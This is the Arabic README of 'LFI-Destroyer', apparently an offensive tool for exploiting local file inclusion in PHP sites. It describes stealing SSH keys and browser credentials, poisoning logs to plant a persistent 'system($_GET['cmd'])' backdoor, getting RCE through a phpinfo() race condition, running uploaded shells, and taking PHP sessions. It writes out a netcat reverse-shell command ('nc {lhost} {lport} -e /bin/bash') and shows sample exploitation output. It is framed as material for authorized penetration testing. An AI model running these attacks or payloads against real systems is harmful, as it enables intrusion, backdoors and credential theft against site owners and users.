🔥 LFI-Destruction – إطار اختبار اختراق مرخص
LFI-Destroyer هو إطار عمل شامل ومتخصص لاستغلال تضمين الملفات المحلية (LFI)، مصمم لمحترفي الأمن المعتمدين. يجمع الأداة بين تقنيات هجوم متعددة في أداة واحدة سهلة الاستخدام:

• فحص آثار SSH والمتصفحات – البحث عن مفاتيح SSH، وملفات Putty PPK، وبيانات اعتماد WinSCP وFileZilla وFirefox وChrome وEdge وBrave على أنظمة Linux وWindows.
• تسمم السجلات → شل عكسي – تنفيذ الأوامر عن بعد (RCE) تلقائيًا عبر ملفات السجلات القابلة للكتابة مع دعم الحمولات المخصصة.
• استغلال حالة السباق لـ phpinfo() – تحويل تلقائي من LFI إلى RCE عندما يكون file_uploads=On ويمكن الوصول إلى phpinfo().
• تشغيل ملف مرفوع – تضمين وتنفيذ شل PHP مُحمَّلة مسبقًا عبر LFI.
• تصفح جلسات PHP – تنزيل وفك تشفير ملفات الجلسات لاختراقها.

LFI-OSCP.py

هي النسخة الآمنة لامتحان OSCP والتي لا تحتوي على أي استغلالات تلقائية. هي في الأساس أداة فحص جميلة، وبمجرد تأكيد الثغرة، تطبع تعليمات يدوية لكيفية تنفيذ الاستغلال.

⚠️ إخلاء مسؤولية قانوني
هذه الأداة لأغراض تعليمية واختبارات أمنية مرخصة فقط.
يجب أن يكون لديك إذن كتابي صريح من مالك النظام قبل استخدامها.
الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني وغير أخلاقي.
المؤلف لا يتحمل أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.

📦 التثبيت

# 1. استنساخ المستودع
git clone https://github.com/RevShellXD/LFI-Destroyer.git
cd LFI-Destroyer

# 2. تثبيت التبعيات (colorama فقط مطلوب؛ الباقي اختياري)
pip install colorama

# 3. جعل السكربت الرئيسي قابلاً للتنفيذ
chmod +x LFI-Destroyer.py

🚀 بداية سريعة – الوضع 1 (فحص آثار SSH / المتصفحات)

python3 LFI-Destroyer.py

اختر Linux أو Windows.

📂 هيكل الدليل

LFI-Destruction/
LFI-Destruction.py          

modes/__init__.py ,mode3_phpinfo_race.py, mode4_upload_trigger.py, mode5_session_grabber.py           

artifacts/               

README.md

اختر وضع الهجوم 1.
اتبع التعليمات لتهيئة نقطة نهاية LFI الخاصة بك.
سيقوم السكربت تلقائيًا بتعداد المستخدمين، والتحقق من الوجود (في Windows يستخدم NTUSER.DAT كمنارة)، وفحص الملفات الحساسة مثل مفاتيح SSH وبيانات اعتماد المتصفحات بشكل متكرر.
تُحفظ جميع الآثار في دليل ./artifacts/.

📝 الوضع 2 – تسمم السجلات وشل عكسي

python3 LFI-Destroyer.py --log-poisoning --log-vector ua

أو قم بتشغيله تفاعليًا واختر الوضع 2.

ما يحدث:

• يحقن حمولة PHP اختبارية عبر وكيل المستخدم (User-Agent) أو المتجه الذي تختاره.
• يحاول تضمين ملفات السجلات الشائعة (Apache, Nginx, SSH, سجلات النظام، XAMPP/WAMP/IIS على Windows).
• إذا تم العثور على سجل قابل للكتابة، يحقن بابًا خلفيًا دائمًا system($_GET['cmd']).
• يؤكد RCE باستخدام id (Linux) أو whoami (Windows).
• يطلب مستمعًا للشل العكسي ويقدم شلًا عكسيًا لـ bash (Linux) أو PowerShell (Windows).

شل عكسي مخصص:

python3 LFI-Destroyer.py --log-poisoning --log-vector ua --custom-shell "nc {lhost} {lport} -e /bin/bash"

سيتم استبدال العناصر النائبة {lhost} و {lport} بعنوان IP والمنفذ الخاصين بمستمعك.

🧪 BETA – الوضع 3: استغلال حالة السباق لـ phpinfo() RCE الحالة: Beta – يعمل بشكل موثوق على خوادم PHP غير المهيأة بشكل آمن مع file_uploads=On وإمكانية الوصول إلى phpinfo().

المتطلبات:

• file_uploads = On (يتم اكتشافه تلقائيًا)
• post_max_size ≥ upload_max_filesize (يتم اكتشافه تلقائيًا)
• ثغرة LFI
• إمكانية الوصول إلى صفحة phpinfo() (يحاول السكربت القوائم الشائعة بالقوة)

التشغيل:

python3 LFI-Destroyer.py
# اختر الوضع 3

قدّم تفاصيل LFI كالمعتاد.
سيقوم السكربت بما يلي:

• البحث عن phpinfo() بالقوة (قائمة كلمات خاصة بنظام التشغيل)
• تحليل upload_max_filesize و post_max_size
• تنفيذ هجوم حالة السباق (رفع + LFI)
• تأكيد RCE
• تقديم شل عكسي

مثال على الإخراج:

[*] Bruteforcing phpinfo.php (45 paths) ...
[+] Found phpinfo.php at http://192.168.1.100/phpinfo.php
[+] file_uploads=On (max size: 8M)
[+] Attempt race condition RCE? (y/N): y
[*] Race attempt 1/3 ...
[+] Extracted temporary file path: /tmp/phpABC123
[+] RCE confirmed via temporary file!
[!] LOG POISONING SUCCESSFUL! Ready to escalate to reverse shell.

🧪 BETA – الوضع 4: تشغيل ملف مرفوع الحالة: Beta – يفترض أنك قمت بالفعل برفع شل PHP (على سبيل المثال، عبر ثغرة أخرى أو رفع يدوي). ثم يستخدم السكربت LFI لتضمينه وتنفيذ الأوامر.

وضعا التشغيل:

• المسار المحدد – تعرف مكان الملف (مثل uploads/shell.php).
• القوة الغاشمة – دع السكربت يجرب أدلة الرفع الشائعة + أسماء الملفات.

التشغيل:

python3 LFI-Destroyer.py
# اختر الوضع 4

أدخل المسار أو 'brute'.
سيقوم السكربت بما يلي:

• محاولة تضمين LFI مع ?cmd=whoami
• إذا نجح، يعرض الإخراج ويقدم شلًا عكسيًا

مثال:

Enter path to uploaded file (relative to web root), or 'brute' to try common locations: uploads/shell.php
[*] Trying uploads/shell.php ...
[+] SUCCESS! Shell executed at uploads/shell.php
[+] Command output:
www-data
Attempt reverse shell? (y/N): y

🧪 BETA – الوضع 5: تصفح جلسات PHP واختراقها الحالة: Beta – يقرأ ملفات الجلسات من session.save_path (يتم تحديده عبر phpinfo() أو قائمة كلمات افتراضية)، ويحفظها، ويحاول فك تشفير base64 عند الحاجة.

التشغيل:

python3 LFI-Destroyer.py
# اختر الوضع 5

أدخل معرف الجلسة أو 'list' للتعداد.

أمثلة:

Enter session ID to retrieve (PHPSESSID), or 'list' to enumerate: abc123
[*] Reading /var/lib/php/sessions/sess_abc123 ...
[+] Session file retrieved!
[--- SESSION DATA (raw) ---]
username|s:5:"admin";user_id|i:1;

عرض قائمة الجلسات (إذا كان فهرسة الدليل مفعلة):

Enter session ID to retrieve (PHPSESSID), or 'list' to enumerate: list
[+] Found 12 session files:
  - sess_abc123
  - sess_def456
  ...

تُحفظ جميع ملفات الجلسات في artifacts/session_*.
إذا بدت البيانات مشفرة بـ base64، يحاول السكربت تلقائيًا تجاوز php://filter/convert.base64-decode ويحفظ نسخة مفكوكة.

🧠 الوضع المتقدم (-adv) فعل تقنيات LFI إضافية:

• تضمين LFI عبر POST
• تضمين LFI عبر Cookie/Header
• أدوات PHP (php://filter، data://، expect://)
• قائمة كلمات مخصصة لفحص الآثار
• كشف العمق التلقائي

python3 LFI-Destroyer.py -adv

⚙️ أعلام سطر الأوامر

يتم تحميل الأوضاع 3 و4 و5 ديناميكيًا من دليل modes/.
يمكنك بسهولة إضافة أوضاع جديدة بوضع ملف Python يحتوي على دالة run(config, fuzzer).

🧰 المتطلبات

• Python 3.8+
• colorama (اختياري، للإخراج الملون)
• لا توجد تبعيات أخرى – يستخدم السكربت فقط المكتبة القياسية.

📜 الترخيص والمؤلف من تأليف RevShellXD
مرخص بموجب رخصة MIT – مجاني لمحترفي الأمن المعتمدين.

للاستخدام التعليمي والاختبارات المرخصة فقط.
إذا خرقت القانون باستخدام هذه الأداة، فأنت المسؤول الوحيد.

⭐ نجمة ومساهمة إذا وجدت هذه الأداة مفيدة، يرجى وضع نجمة للمستودع على GitHub.
نرحب بطلبات السحب (Pull Requests) والمساهمات بأوضاع جديدة – اتبع واجهة الوحدة البسيطة في modes/__init__.py.